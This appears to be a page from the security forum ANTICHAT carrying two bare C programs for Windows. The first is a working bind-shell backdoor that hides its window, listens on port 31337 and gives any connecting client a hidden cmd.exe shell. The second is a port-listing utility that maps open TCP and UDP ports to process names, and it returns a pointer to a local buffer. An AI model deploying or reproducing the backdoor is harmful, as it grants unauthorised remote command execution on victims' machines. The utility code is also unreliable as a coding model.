ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR") 
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
  HANDLE HCmd
)
{
     STARTUPINFO st; 
     PROCESS_INFORMATION pt;

     
          st.cb = sizeof(STARTUPINFO);
          st.lpReserved = NULL;
          st.lpTitle = NULL;
          st.lpDesktop = NULL;
          st.lpReserved2 = NULL;
          st.cbReserved2 = 0;
          st.wShowWindow = SW_HIDE;
          st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
          st.hStdInput = HCmd;
          st.hStdOutput = HCmd;
          st.hStdError = HCmd;
          CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
          CloseHandle(HCmd);
          CloseHandle(pt.hProcess);
          CloseHandle(pt.hThread);
     return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
     int sock;
     SOCKET AcceptS;
     struct sockaddr_in s;
     WSADATA wsa;
     WSAStartup( MAKEWORD( 2, 2 ), &wsa );
     sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
     s.sin_family = AF_INET;
     s.sin_addr.s_addr = htonl( INADDR_ANY);
     s.sin_port = htons( 31337 );
     bind(sock,(SOCKADDR*)&s,sizeof(s));
	int i;
	char type[2], buf[126];
     listen( sock, 0 );
     while (1){
		  AcceptS = accept(sock,NULL,NULL);
 CreateThread( NULL, 0,
               (LPTHREAD_START_ROUTINE)ClientURA,
               (LPVOID)AcceptS,
               NULL, NULL );
		 
		  
	 }
     return 0;
		}

#include <Winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include <conio.h>
#include <Tlhelp32.h>
#include <psapi.h>

#pragma comment ( lib, "Iphlpapi.lib" )
#pragma comment ( lib, "Ws2_32.lib" )
#pragma comment ( lib, "psapi.lib" )

typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;

typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL;

TCHAR *PrintProcessNameAndID( DWORD processID )
{
   	TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    // Get a handle to the process.
    HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
    // Get the process name.
    if (NULL != hProcess )
    {
        HMODULE hMod;
        DWORD cbNeeded;

        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
        }
    }

    CloseHandle( hProcess );
		
	return (TCHAR *)&szProcessName;
}

int main()
{
	PMIB_TCPTABLE_EX pTcpTableEx;
	PMIB_UDPTABLE_EX pUdpTableEx;
	DWORD dwSize = 0,dwSizeUDP = 0;
	DWORD i = 0,j = 0;
	DWORD dwTcpErr,dwUdpErr;
	DWORD pid;
	char *ip_ptr,*ip_udp_ptr;
	unsigned short *port_ptr,*port_udp_ptr;
	HMODULE hMudule;
	
	hMudule = LoadLibrary("Iphlpapi.dll");

	if(hMudule == NULL) return 0;

	lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetTcpExTableFromStack");
	lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetUdpExTableFromStack");

	if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0;
	if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0;

	pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX));
	if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); }

	pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX));
	if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); }

	dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2);
	dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2);
	
	if(dwTcpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened TCP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pTcpTableEx->dwNumEntries;i++)
		{
			ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr;
			port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort;
			pid = pTcpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	if(dwUdpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened UDP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pUdpTableEx->dwNumEntries;i++)
		{
			ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr;
			port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort;
			pid = pUdpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	printf("\n\nPress any key to exit...");
	_getch();

	return 0;
}